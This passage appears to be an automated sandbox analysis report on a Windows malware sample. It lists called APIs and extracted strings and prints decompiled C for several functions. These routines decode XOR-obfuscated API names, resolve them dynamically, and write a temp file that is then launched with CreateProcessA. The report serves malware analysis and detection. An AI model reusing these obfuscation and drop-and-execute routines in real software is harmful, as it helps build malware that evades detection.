0x00401bb9
0x00401e69
0x00401e7d
0x00401bbf
0x00401bcc
0x00401bd4
0x00401bd8
0x00401bfa
0x00401bfc
0x00401bfe
0x00401c10
0x00401c21
0x00401c28
0x00401c28
0x00401c2a
0x00401c30
0x00401c31
0x00401c39
0x00401c44
0x00401c4b
0x00401c4d
0x00401c53
0x00401c54
0x00401c5c
0x00401c65
0x00401c7c
0x00401c80
0x00401c84
0x00401c98
0x00401ca0
0x00401ca4
0x00401cca
0x00401ccb
0x00401cd0
0x00401cd1
0x00401cd2
0x00401ce1
0x00401d10
0x00401d2d
0x00401d33
0x00401d40
0x00401d44
0x00401d66
0x00401d74
0x00401d7b
0x00401d81
0x00401d8d
0x00401d93
0x00401da0
0x00401da0
0x00401dbd
0x00401dc8
0x00401dd8
0x00401e14
0x00401dda
0x00401ddf
0x00401de1
0x00401ded
0x00401def
0x00401dfc
0x00401e00
0x00401e05
0x00401e05
0x00401e1f
0x00401e26
0x00401e31
0x00401e37
0x00401e39
0x00401ce3
0x00401ce4
0x00401cef
0x00401cf6
0x00401cf8
0x00401cf8
0x00401ca6
0x00401ca6
0x00401cb0
0x00401cb5
0x00401cb7
0x00401cb7
0x00401ca4
0x00401e4b
0x00401e4f
0x00401c04
0x00000000
0x00401c04
0x00000000
0x00401e4f
0x00401e63
0x00000000
0x00401bda
0x00401bf1
0x00401bf1
0x00401bd8

APIs

GetProcessHeap.KERNEL32(00000000,00080000), ref: 00401BC5
HeapAlloc.KERNEL32(00000000), ref: 00401BCC
Sleep.KERNEL32(000493E0), ref: 00401C28
Sleep.KERNEL32(000003E8), ref: 00401C4B
GetTempPathA.KERNEL32(00000104,?), ref: 00401D10
GetTempFileNameA.KERNEL32(?,0042E290,00000000,?), ref: 00401D2D
CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000000,00000000), ref: 00401D5A
WriteFile.KERNEL32(00000000,00000007,?,?,00000000), ref: 00401D7B
CloseHandle.KERNEL32(00000000), ref: 00401D93
CreateProcessA.KERNEL32(00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,?,?), ref: 00401DD0
CloseHandle.KERNEL32(?), ref: 00401DDF
CloseHandle.KERNEL32(?), ref: 00401DED
GetProcessHeap.KERNEL32(00000000,?), ref: 00401E5C
HeapFree.KERNEL32(00000000), ref: 00401E63

Strings

K, xrefs: 00401A98
4, xrefs: 004019BC
@, xrefs: 00401ACF
}, xrefs: 00401A5E
B, xrefs: 00401A7A
p, xrefs: 00401A4F
C, xrefs: 00401A8E
', xrefs: 004019B7
Y, xrefs: 004019A3
{, xrefs: 00401999
v, xrefs: 00401A33
T, xrefs: 00401A9D
2, xrefs: 004019F3
A, xrefs: 00401A46
^, xrefs: 00401B76
:, xrefs: 0040199E
+, xrefs: 00401B5F
P, xrefs: 00401A89
0, xrefs: 004019D5
;, xrefs: 00401B30
e, xrefs: 00401AA2
D, xrefs: 00401DBD
r, xrefs: 00401B00
\, xrefs: 00401A0C
z, xrefs: 004019CB
I, xrefs: 00401A54
,, xrefs: 00401B7E
-, xrefs: 00401A71
y, xrefs: 00401A07
S, xrefs: 00401A29
c, xrefs: 00401A02
N, xrefs: 00401A6C
U, xrefs: 00401AA7

Memory Dump Source

Source File: 00000000.00000002.685308858.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.685305426.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685339970.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685345354.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.685352255.0000000000434000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685356146.0000000000441000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685360676.0000000000460000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685364084.0000000000464000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_data.jbxd

Similarity

API ID: Heap$CloseFileHandleProcess$CreateSleepTemp$AllocFreeNamePathWrite
String ID: '$+$,$-$0$2$4$:$;$@$A$B$C$D$I$K$N$P$S$T$U$Y$\$^$c$e$p$r$v$y$z${$}
API String ID: 633426975-1940365277
Opcode ID: 69dfe3e2ad568bfae82bd1608e3d8c6f51c46d62c4de821528446c51c84c10da
Instruction ID: e6c0c0694c561dc4f23d5baa3025b2d471003fa36f15fb022360e7d662cf5cb9
Opcode Fuzzy Hash: 69dfe3e2ad568bfae82bd1608e3d8c6f51c46d62c4de821528446c51c84c10da
Instruction Fuzzy Hash: B7E16B3014C7C18EE321CB789848B9BBFD46BA6324F185A5DF2E48B2E2C7B58405D767

Uniqueness

Uniqueness Score: -1.00%

Function 0041DA67, Relevance: 82.4, APIs: 5, Strings: 42, Instructions: 189
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 89%

			E0041DA67(void* __eax, char _a40, char _a41, char _a42, char _a43, char _a44, char _a45, char _a46, char _a47, char _a48, char _a49, char _a50, char _a56, char _a57, char _a58, char _a59, char _a60, char _a61, char _a62, char _a63, char _a64, char _a65, char _a66, char _a67, char _a68, char _a69, char _a70, char _a71, char _a72, char _a73, char _a76, char _a77, char _a78, char _a79, char _a80, char _a81, char _a82, char _a83, char _a84, char _a85, char _a86, char _a87, char _a88, char _a89, char _a90, char _a91, char _a92, char _a93, char _a140, char _a152, char _a153, char _a154, char _a155, char _a156, char _a157, char _a158, char _a159, char _a160, char _a161, char _a164, char _a165, char _a166, char _a167, char _a168, char _a169, char _a170, char _a171, char _a172, char _a173, char _a174, char _a204, char _a205, char _a206, char _a207, char _a208, char _a209, char _a210, char _a211, char _a212, char _a213, intOrPtr _a336) {
				struct HINSTANCE__* __edi;

				do {
					 *(__esp +  &(__eax[0x8c])) =  *(__esp +  &(__eax[0x8c])) ^ 0x0000008a;
					__eax =  &(__eax[1]);
				} while (__eax < 0xb);
				__eax =  &_a140;
				__eax = GetProcAddress(__edi,  &_a140);
				__eax = __eax;
				 *0x431f0c = __eax;
				if(__eax == 0) {
					L1:
					return E00424873(0, _a336);
				} else {
					__ecx =  &_a56;
					_push(0x12);
					_push( &_a56);
					__eax =  &_a76;
					_a56 = 0x2b;
					_a57 = 0x7e;
					_a58 = 0x14;
					_a59 = 0xc5;
					_a60 = 0x31;
					_a61 = 0x22;
					_a62 = 0x49;
					_a63 = 0xdc;
					_a64 = 0xd8;
					_a65 = 0x8b;
					_a66 = 0xed;
					_a67 = 0x54;
					_a68 = 0xbb;
					_a69 = 0xba;
					_a70 = 0x48;
					_a71 = 0xbb;
					_a72 = 0xa1;
					_a73 = 0x26;
					_a76 = 0x26;
					_a77 = 0xc4;
					_a78 = 0xde;
					_a79 = 0x3a;
					_a80 = 0xfc;
					_a81 = 0xcf;
					_a82 = 0x27;
					_a83 = 0x84;
					_a84 = 0xc7;
					_a85 = 0xbc;
					_a86 = 0xae;
					_a87 = 0x26;
					_a88 = 0x41;
					_a89 = 0x54;
					_a90 = 0x97;
					_a91 = 0x67;
					_a92 = 0x10;
					_a93 = 0x6f;
					__eax = E0041C580( &_a76);
					__esp = __esp + 8;
					__eax = GetProcAddress(__edi, __eax);
					__eax = __eax;
					 *0x431f10 = __eax;
					if(__eax == 0) {
						goto L1;
					} else {
						__edx =  &_a40;
						_push( &_a40);
						__ecx =  &_a164;
						__edi = __edi;
						__edx = 0xb;
						_a40 = 0x6d;
						_a41 = 0x96;
						_a42 = 0x80;
						_a43 = 6;
						_a44 = 0xa9;
						_a45 = 0x60;
						_a46 = 0x53;
						_a47 = 0xb;
						_a48 = 0xec;
						_a49 = 0xb1;
						_a50 = 0xd3;
						_a164 = 0xc8;
						_a165 = 0x9d;
						_a166 = 0xee;
						_a167 = 0x8b;
						_a168 = 0xf9;
						_a169 = 0xca;
						_a170 = 0xf8;
						_a171 = 0xd6;
						_a172 = 0x92;
						_a173 = 0xde;
						_a174 = 0x92;
						__eax = E0041C4C0(__ecx,  &_a40);
						__esp = __esp + 4;
						__eax = LoadLibraryA(__eax);
						__edi = __eax;
						__edi = __eax;
						if(__edi == 0) {
							goto L1;
						} else {
							__eax =  &_a152;
							_push(0xa);
							_push( &_a152);
							__eax =  &_a204;
							_a152 = 0x37;
							_a153 = 0x3b;
							_a154 = 0x8f;
							_a155 = 0x69;
							_a156 = 0x24;
							_a157 = 0x7f;
							_a158 = 0x60;
							_a159 = 0xe9;
							_a160 = 0xec;
							_a161 = 0x4c;
							_a204 = 0x4c;
							_a205 = 0xad;
							_a206 = 0x8f;
							_a207 = 0x14;
							_a208 = 0x11;
							_a209 = 0x4d;
							_a210 = 0x1b;
							_a211 = 0xff;
							_a212 = 0x48;
							_a213 = 0x40;
							__eax = E0041C580( &_a204);
							__esp = __esp + 8;
							__eax = GetProcAddress(__edi, __eax);
							 *0x431f14 = __eax;
							if(__eax == 0) {
								goto L1;
							} else {
								__ecx =  &_a56;
								__ecx =  &_a76;
								__edx = 0x12;
								_a56 = 0x75;
								_a57 = 6;
								_a58 = 0xcc;
								_a59 = 0x8b;
								_a60 = 0x4c;
								_a61 = 0xb8;
								_a62 = 0x36;
								_a63 = 0x4d;
								_a64 = 0x1e;
								_a65 = 0x53;
								_a66 = 0xb7;
								_a67 = 0x58;
								_a68 = 0xd4;
								_a69 = 0xa5;
								_a70 = 0xf1;
								_a71 = 0xd3;
								_a72 = 0x12;
								_a73 = 0x39;
								_a76 = 0x4a;
								_a77 = 0x19;
								_a78 = 0x7c;
								_a79 = 8;
								_a80 = 0x5f;
								_a81 = 0x36;
								_a82 = 0x58;
								_a83 = 0x3c;
								_a84 = 0x53;
								_a85 = 0x24;
								_a86 = 0x57;
								_a87 = 0x1f;
								_a88 = 0x70;
								_a89 = 0x1f;
								_a90 = 0x74;
								_a91 = 0x31;
								_a92 = 0x49;
								_a93 = 8;
								__eax = E0041C4C0( &_a76, 0x12,  &_a56);
								__eax = GetProcAddress(__edi, __eax);
								__edx = 0;
								_t130 = __eax != 0;
								__edx = 0 | _t130;
								 *0x431f18 = __eax;
								__eax = _t130;
								__ecx = _a336;
								_pop(__edi);
								__eax = E00424873(__eax, _a336);
								__esp = __esp + 0x144;
								return __eax;
							}
						}
					}
				}
			}

0x0041da70
0x0041da70
0x0041da78
0x0041da79
0x0041da7e
0x0041da87
0x0041da89
0x0041da8b
0x0041da90
0x0041c80f
0x0041c827
0x0041da96
0x0041da96
0x0041da9a
0x0041da9e
0x0041da9f
0x0041daa3
0x0041daa8
0x0041daad
0x0041dab2
0x0041dab7
0x0041dabc
0x0041dac1
0x0041dac6
0x0041dacb
0x0041dad0
0x0041dad5
0x0041dada
0x0041dadf
0x0041dae4
0x0041dae9
0x0041daee
0x0041daf3
0x0041daf8
0x0041dafd
0x0041db02
0x0041db07
0x0041db0b
0x0041db10
0x0041db15
0x0041db1a
0x0041db1f
0x0041db24
0x0041db29
0x0041db2e
0x0041db33
0x0041db38
0x0041db3d
0x0041db42
0x0041db47
0x0041db4c
0x0041db51
0x0041db56
0x0041db5b
0x0041db60
0x0041db62
0x0041db64
0x0041db69
0x00000000
0x0041db6f
0x0041db6f
0x0041db73
0x0041db74
0x0041db7c
0x0041db7f
0x0041db80
0x0041db85
0x0041db8a
0x0041db8f
0x0041db94
0x0041db99
0x0041db9e
0x0041dba3
0x0041dba8
0x0041dbad
0x0041dbb2
0x0041dbb7
0x0041dbbf
0x0041dbc7
0x0041dbcf
0x0041dbd7
0x0041dbdf
0x0041dbe7
0x0041dbef
0x0041dbf7
0x0041dbff
0x0041dc06
0x0041dc0e
0x0041dc13
0x0041dc17
0x0041dc19
0x0041dc1b
0x0041dc1d
0x00000000
0x0041dc23
0x0041dc23
0x0041dc2a
0x0041dc2c
0x0041dc2d
0x0041dc34
0x0041dc3c
0x0041dc44
0x0041dc4c
0x0041dc54
0x0041dc5c
0x0041dc64
0x0041dc6c
0x0041dc74
0x0041dc7c
0x0041dc84
0x0041dc8c
0x0041dc94
0x0041dc9c
0x0041dca4
0x0041dcac
0x0041dcb4
0x0041dcbc
0x0041dcc4
0x0041dccc
0x0041dcd4
0x0041dcd9
0x0041dcde
0x0041dce2
0x0041dce7
0x00000000
0x0041dced
0x0041dced
0x0041dcf2
0x0041dcf6
0x0041dcfb
0x0041dd00
0x0041dd05
0x0041dd0a
0x0041dd0f
0x0041dd14
0x0041dd19
0x0041dd1e
0x0041dd23
0x0041dd28
0x0041dd2d
0x0041dd32
0x0041dd37
0x0041dd3c
0x0041dd41
0x0041dd46
0x0041dd4b
0x0041dd50
0x0041dd55
0x0041dd5a
0x0041dd5f
0x0041dd64
0x0041dd69
0x0041dd6e
0x0041dd73
0x0041dd78
0x0041dd7d
0x0041dd82
0x0041dd87
0x0041dd8c
0x0041dd91
0x0041dd96
0x0041dd9b
0x0041dda0
0x0041dda5
0x0041ddaa
0x0041ddaf
0x0041ddb9
0x0041ddbb
0x0041ddbf
0x0041ddbf
0x0041ddc2
0x0041ddc8
0x0041ddc9
0x0041ddd1
0x0041ddd4
0x0041ddd9
0x0041dddf
0x0041dddf
0x0041dce7
0x0041dc1d
0x0041db69

APIs

GetProcAddress.KERNEL32(00000000,0000008A), ref: 0041DA87
GetProcAddress.KERNEL32(00000000,00000000), ref: 0041DB60
LoadLibraryA.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,00000007,?,00000001), ref: 0041DC17
GetProcAddress.KERNEL32(00000000,00000000), ref: 0041DCDE
GetProcAddress.KERNEL32(00000000,00000000), ref: 0041DDB9

Strings

L, xrefs: 0041DC7C
J, xrefs: 0041DD55
_, xrefs: 0041DD69
L, xrefs: 0041DC84
i, xrefs: 0041DC4C
~, xrefs: 0041DAA8
W, xrefs: 0041DD87
m, xrefs: 0041DB80
H, xrefs: 0041DCC4
|, xrefs: 0041DD5F
X, xrefs: 0041DD32
p, xrefs: 0041DD91
1, xrefs: 0041DDA0
S, xrefs: 0041DB9E
X, xrefs: 0041DD73
<, xrefs: 0041DD78
g, xrefs: 0041DB47
T, xrefs: 0041DB3D
I, xrefs: 0041DAC1
`, xrefs: 0041DC64
7, xrefs: 0041DC34
1, xrefs: 0041DAB7
9, xrefs: 0041DD50
H, xrefs: 0041DAE9
T, xrefs: 0041DADA
`, xrefs: 0041DB99
t, xrefs: 0041DD9B
$, xrefs: 0041DC54
M, xrefs: 0041DCAC
&, xrefs: 0041DAF8
I, xrefs: 0041DDA5
o, xrefs: 0041DB51
L, xrefs: 0041DD0F
6, xrefs: 0041DD6E
S, xrefs: 0041DD28
@, xrefs: 0041DCCC
;, xrefs: 0041DC3C
$, xrefs: 0041DD82
S, xrefs: 0041DD7D
M, xrefs: 0041DD1E
u, xrefs: 0041DCFB
6, xrefs: 0041DD19

Memory Dump Source

Source File: 00000000.00000002.685308858.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.685305426.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685339970.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685345354.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.685352255.0000000000434000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685356146.0000000000441000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685360676.0000000000460000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685364084.0000000000464000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_data.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: $$$$&$1$1$6$6$7$9$;$<$@$H$H$I$I$J$L$L$L$M$M$S$S$S$T$T$W$X$X$_$`$`$g$i$m$o$p$t$u$|$~
API String ID: 2238633743-2441341231
Opcode ID: 1620fae2c6a9bcd62cd3bba5fd3948c15c42dfc280ca92b02d922f62edcfdf43
Instruction ID: 34ceb0ef355913a509f2089add5f572fa6c8dc3830e47357aca16aac718080ab
Opcode Fuzzy Hash: 1620fae2c6a9bcd62cd3bba5fd3948c15c42dfc280ca92b02d922f62edcfdf43
Instruction Fuzzy Hash: 9AA1762010C7C19DD332D27D984879FBFD11BA3328F484A9DA1E85A2D2D3AA8149C777

Uniqueness

Uniqueness Score: -1.00%

Function 00423870, Relevance: 81.2, APIs: 1, Strings: 53, Instructions: 204
COMMON

Download Yara Rule

C-Code - Quality: 98%

			E00423870(void* __ebx, void* __edi, void* __esi) {
				intOrPtr _v8;
				char _v10;
				signed char _v11;
				signed char _v12;
				signed char _v13;
				signed char _v14;
				signed char _v15;
				signed char _v16;
				signed char _v17;
				signed char _v18;
				signed char _v19;
				signed char _v20;
				char _v22;
				char _v23;
				char _v24;
				char _v25;
				char _v26;
				char _v27;
				char _v28;
				char _v29;
				char _v30;
				char _v31;
				char _v32;
				char _v36;
				char _v37;
				char _v38;
				char _v39;
				char _v40;
				char _v41;
				char _v42;
				char _v43;
				char _v44;
				char _v45;
				char _v46;
				char _v47;
				char _v48;
				char _v49;
				char _v50;
				char _v51;
				char _v52;
				char _v53;
				char _v54;
				char _v55;
				char _v56;
				char _v57;
				char _v58;
				char _v59;
				char _v60;
				char _v61;
				char _v62;
				char _v63;
				char _v64;
				char _v65;
				char _v66;
				char _v67;
				char _v68;
				char _v69;
				char _v70;
				char _v71;
				char _v72;
				char _v73;
				char _v74;
				char _v75;
				char _v76;
				char _v80;
				char _v81;
				char _v82;
				char _v83;
				char _v84;
				char _v85;
				char _v86;
				char _v87;
				char _v88;
				char _v89;
				char _v90;
				char _v91;
				char _v92;
				char _v93;
				char _v94;
				char _v95;
				char _v96;
				char _v97;
				char _v98;
				char _v99;
				char _v100;
				char _v101;
				char _v102;
				char _v103;
				char _v104;
				char _v105;
				char _v106;
				char _v107;
				char _v108;
				char _v109;
				char _v110;
				char _v111;
				char _v112;
				char _v113;
				char _v114;
				char _v115;
				char _v116;
				char _v117;
				char _v118;
				char _v119;
				char _v120;
				char _v124;
				intOrPtr _t146;
				void* _t147;
				intOrPtr* _t148;
				void* _t149;
				void* _t156;
				int _t169;
				void* _t173;
				signed char _t181;
				char* _t182;
				signed int _t186;
				void* _t189;
				void* _t192;
				void* _t195;

				_t146 =  *0x4310d8; // 0xd0c2a9a8
				_v8 = _t146;
				_v76 = 0xd9;
				_v75 = 0x18;
				_v74 = 0x66;
				_v73 = 0x9f;
				_v72 = 0x83;
				_v71 = 3;
				_v70 = 0xb8;
				_v69 = 0x91;
				_v68 = 0xe;
				_v67 = 0xe7;
				_v66 = 0x7b;
				_v65 = 0x7f;
				_v64 = 0x8c;
				_v63 = 0x43;
				_v62 = 0x5b;
				_v61 = 0xb2;
				_v60 = 0x81;
				_v59 = 0xb0;
				_v58 = 0xce;
				_v57 = 0x2f;
				_v56 = 0x62;
				_v55 = 0;
				_v54 = 0xa2;
				_v53 = 0xa1;
				_v52 = 0xab;
				_v51 = 0x81;
				_v50 = 0xdb;
				_v49 = 0xd1;
				_v48 = 0x4b;
				_v47 = 0xcb;
				_v46 = 0x45;
				_v45 = 0x7a;
				_v44 = 0x78;
				_v43 = 0x55;
				_v42 = 0x63;
				_v41 = 0xc;
				_v40 = 0xa4;
				_v39 = 0x31;
				_v38 = 0x98;
				_v37 = 0xc9;
				_v36 = 0x10;
				_v120 = 0x29;
				_v119 = 0xc;
				_v118 = 0x3c;
				_v117 = 0xe;
				_v116 = 0x56;
				_v115 = 0x73;
				_v114 = 0x43;
				_v113 = 0x71;
				_v112 = 0x29;
				_v111 = 0xc;
				_v110 = 0x3c;
				_v109 = 0xe;
				_v108 = 0x56;
				_v107 = 0x73;
				_v106 = 0x43;
				_v105 = 0x71;
				_v104 = 0x29;
				_v103 = 0xc;
				_v102 = 0x3c;
				_v101 = 0xe;
				_v100 = 0x56;
				_v99 = 0x73;
				_v98 = 0x43;
				_v97 = 0x71;
				_v96 = 0x29;
				_v95 = 0xc;
				_v94 = 0x3c;
				_v93 = 0xe;
				_v92 = 0x56;
				_v91 = 0x73;
				_v90 = 0x43;
				_v89 = 0x71;
				_v88 = 0x29;
				_v87 = 0xc;
				_v86 = 0x3c;
				_v85 = 0xe;
				_v84 = 0x56;
				_v83 = 0x73;
				_v82 = 0x43;
				_v81 = 0x71;
				_v80 = 0x29;
				_t186 = 0x1f2;
				_t147 = 0;
				do {
					_t186 = 0x0000006c - _t186 - 0x0000001a & _t186 | 0x0000004e;
					_t181 =  *(_t195 + _t147 - 0x73) ^  *(_t195 + _t147 - 0x74);
					_t147 = _t147 + 1;
					 *(_t195 + _t147 - 0x49) = _t181;
				} while (_t147 < 0x28);
				_push(__esi);
				_t189 = 0xa;
				 *((char*)(_t195 + _t147 - 0x48)) = 0;
				_v32 = 0x85;
				_v31 = 3;
				_v30 = 0x1b;
				_v29 = 0xe3;
				_v28 = 0xc5;
				_v27 = 0x5d;
				_v26 = 0x4a;
				_v25 = 0x73;
				_v24 = 0xc1;
				_v23 = 0x6a;
				_v22 = 0x1d;
				_v20 = 0x1d;
				_v19 = 0x74;
				_v18 = 0xed;
				_v17 = 0x1f;
				_v16 = 0xf;
				_v15 = 0x75;
				_v14 = 0x79;
				_v13 = 0x5c;
				_v12 = 0xa3;
				_v11 = 0x6c;
				_v10 = 0xdf;
				_t192 = 0;
				do {
					_t148 = _t195 + _t192 - 0x10;
					_t182 = _t195 + _t189 - 0x10;
					_t192 = _t192 + 1;
					_t189 = _t189 - 1;
					 *_t148 =  *_t182;
					 *_t182 =  *_t148;
				} while (_t192 < _t189);
				_t149 = 0;
				 *0x432014 = 0x70;
				_pop(_t173);
				do {
					_t183 =  *(_t195 + _t149 - 0x10);
					 *(_t195 + _t149 - 0x1c) =  *(_t195 + _t149 - 0x1c) ^  *(_t195 + _t149 - 0x10);
					_t149 = _t149 + 1;
				} while (_t149 < 0xb);
				E00423D15(_t173, _t183, _t189, _t192,  &_v20);
				_v124 = E004237F6(_t192);
				E00425FD0( &_v14,  &_v124, 4);
				_t156 = 0;
				do {
					 *(_t195 + _t156 - 0x10) =  *(_t195 + _t156 - 0x10) ^  *(_t195 + _t156 - 0x1c);
					_t156 = _t156 + 1;
				} while (_t156 < 0xa);
				E00425F70(0x431ff4, 0, 0x20);
				_t169 = wsprintfA(0x431ff4,  &_v76, _v20 & 0x000000ff, _v19 & 0x000000ff, _v18 & 0x000000ff, _v17 & 0x000000ff, _v16 & 0x000000ff, _v15 & 0x000000ff, _v14 & 0x000000ff, _v13 & 0x000000ff, _v12 & 0x000000ff, _v11 & 0x000000ff);
				 *0x432018 = 1;
				return E00424873(_t169, _v8);
			}

0x00423876
0x0042387b
0x0042387e
0x00423882
0x00423886
0x0042388a
0x0042388e
0x00423892
0x00423896
0x0042389a
0x0042389e
0x004238a2
0x004238a6
0x004238aa
0x004238ae
0x004238b2
0x004238b6
0x004238ba
0x004238be
0x004238c2
0x004238c6
0x004238ca
0x004238ce
0x004238d2
0x004238d6
0x004238da
0x004238de
0x004238e2
0x004238e6
0x004238ea
0x004238ee
0x004238f2
0x004238f6
0x004238fa
0x004238fe
0x00423902
0x00423906
0x0042390a
0x0042390e
0x00423912
0x00423916
0x0042391a
0x0042391e
0x00423922
0x00423926
0x0042392a
0x0042392e
0x00423932
0x00423936
0x0042393a
0x0042393e
0x00423942
0x00423946
0x0042394a
0x0042394e
0x00423952
0x00423956
0x0042395a
0x0042395e
0x00423962
0x00423966
0x0042396a
0x0042396e
0x00423972
0x00423976
0x0042397a
0x0042397e
0x00423982
0x00423986
0x0042398a
0x0042398e
0x00423992
0x00423996
0x0042399a
0x0042399e
0x004239a2
0x004239a6
0x004239aa
0x004239ae
0x004239b2
0x004239b6
0x004239ba
0x004239be
0x004239c2
0x004239c6
0x004239cb
0x004239cd
0x004239dc
0x004239e2
0x004239e6
0x004239ea
0x004239ea
0x004239f0
0x004239f4
0x004239f5
0x004239fa
0x004239fe
0x00423a02
0x00423a06
0x00423a0a
0x00423a0e
0x00423a12
0x00423a16
0x00423a1a
0x00423a1e
0x00423a22
0x00423a26
0x00423a2a
0x00423a2e
0x00423a32
0x00423a36
0x00423a3a
0x00423a3e
0x00423a42
0x00423a46
0x00423a4a
0x00423a4e
0x00423a52
0x00423a55
0x00423a55
0x00423a5b
0x00423a61
0x00423a62
0x00423a65
0x00423a67
0x00423a67
0x00423a6b
0x00423a6d
0x00423a74
0x00423a75
0x00423a75
0x00423a79
0x00423a7d
0x00423a7e
0x00423a87
0x00423a91
0x00423a9e
0x00423aa6
0x00423aa8
0x00423aac
0x00423ab0
0x00423ab1
0x00423ac0
0x00423afc
0x00423b09
0x00423b1a

APIs

wsprintfA.USER32 ref: 00423AFC

Strings

t, xrefs: 00423A2A
), xrefs: 00423942
E, xrefs: 004238F6
q, xrefs: 0042393E
x, xrefs: 004238FE
j, xrefs: 00423A1E
[, xrefs: 004238B6
), xrefs: 00423982
C, xrefs: 0042399A
s, xrefs: 00423976
<, xrefs: 0042392A
c, xrefs: 00423906
C, xrefs: 0042393A
y, xrefs: 00423A3E
<, xrefs: 004239AA
), xrefs: 00423962
V, xrefs: 00423992
C, xrefs: 004239BA
V, xrefs: 004239B2
s, xrefs: 00423996
q, xrefs: 0042399E
<, xrefs: 0042398A
q, xrefs: 0042395E
q, xrefs: 004239BE
), xrefs: 004239C2
C, xrefs: 004238B2
f, xrefs: 00423886
], xrefs: 00423A0E
s, xrefs: 00423A16
/, xrefs: 004238CA
u, xrefs: 00423A3A
s, xrefs: 004239B6
C, xrefs: 0042397A
s, xrefs: 00423956
K, xrefs: 004238EE
U, xrefs: 00423902
V, xrefs: 00423932
s, xrefs: 00423936
), xrefs: 00423922
z, xrefs: 004238FA
J, xrefs: 00423A12
l, xrefs: 00423A4A
V, xrefs: 00423952
<, xrefs: 0042396A
b, xrefs: 004238CE
), xrefs: 004239A2
\, xrefs: 00423A42
q, xrefs: 0042397E
V, xrefs: 00423972
<, xrefs: 0042394A
C, xrefs: 0042395A
1, xrefs: 00423912
{, xrefs: 004238A6

Memory Dump Source

Source File: 00000000.00000002.685308858.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.685305426.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685339970.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685345354.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.685352255.0000000000434000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685356146.0000000000441000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685360676.0000000000460000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685364084.0000000000464000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_data.jbxd

Similarity

API ID: wsprintf
String ID: )$)$)$)$)$)$/$1$<$<$<$<$<$C$C$C$C$C$C$E$J$K$U$V$V$V$V$V$[$\$]$b$c$f$j$l$q$q$q$q$q$s$s$s$s$s$s$t$u$x$y$z${
API String ID: 2111968516-877203839
Opcode ID: 5dbd70dfe6af993b65db3e92ac0a7b1253d995d32fe1cb9cad35a9ca5e4e8c65
Instruction ID: 47ce4173f304ae77a016d9270d6aefb37c2c1ed37474b020884430b5d8fbc72c
Opcode Fuzzy Hash: 5dbd70dfe6af993b65db3e92ac0a7b1253d995d32fe1cb9cad35a9ca5e4e8c65
Instruction Fuzzy Hash: 5DB1D810D0C7D999EB2286FC94587DEBFB50F27318F580299D5E47B2D2C2AA0249C77A

Uniqueness

Uniqueness Score: -1.00%

Function 0041F250, Relevance: 79.0, APIs: 9, Strings: 36, Instructions: 279
memoryprocessCOMMON

Download Yara Rule

C-Code - Quality: 93%

			E0041F250(intOrPtr __ecx) {
				intOrPtr _v8;
				char _v46;
				char _v47;
				char _v49;
				char _v50;
				char _v51;
				char _v53;
				char _v54;
				char _v55;
				char _v57;
				char _v58;
				char _v59;
				char _v61;
				char _v62;
				char _v63;
				char _v65;
				char _v66;
				char _v67;
				char _v69;
				char _v70;
				char _v71;
				char _v73;
				char _v74;
				char _v75;
				char _v77;
				char _v78;
				char _v79;
				char _v81;
				char _v82;
				char _v83;
				struct _STARTUPINFOA _v84;
				char _v88;
				char _v89;
				char _v90;
				char _v91;
				char _v92;
				char _v93;
				char _v94;
				char _v95;
				char _v96;
				char _v97;
				char _v98;
				char _v99;
				char _v100;
				char _v101;
				char _v102;
				char _v103;
				char _v104;
				char _v106;
				char _v107;
				char _v108;
				char _v109;
				char _v110;
				char _v111;
				char _v112;
				char _v113;
				char _v114;
				char _v115;
				char _v116;
				char _v117;
				char _v118;
				char _v119;
				char _v120;
				char _v121;
				char _v122;
				char _v123;
				char _v124;
				char _v125;
				char _v126;
				char _v127;
				char _v128;
				char _v129;
				char _v130;
				char _v131;
				char _v132;
				char _v133;
				char _v134;
				char _v135;
				char _v136;
				char _v137;
				char _v138;
				char _v139;
				char _v140;
				char _v141;
				char _v142;
				char _v143;
				char _v144;
				char _v148;
				char _v149;
				char _v150;
				char _v151;
				char _v153;
				char _v154;
				char _v155;
				char _v157;
				char _v158;
				char _v159;
				char _v161;
				char _v162;
				char _v163;
				struct _PROCESS_INFORMATION _v164;
				intOrPtr _v168;
				intOrPtr _t165;
				void* _t169;
				intOrPtr _t175;
				intOrPtr* _t176;
				void* _t177;
				void* _t207;
				signed int _t215;
				intOrPtr _t217;
				void _t218;
				unsigned int _t219;
				signed int _t220;
				short _t234;
				int _t238;
				void* _t241;
				short* _t242;
				void* _t244;
				short _t253;
				short _t254;
				void* _t257;
				intOrPtr _t258;
				signed int _t261;
				void* _t263;

				_t263 = (_t261 & 0xfffffff8) - 0xa4;
				_t165 =  *0x4310d8; // 0xd0c2a9a8
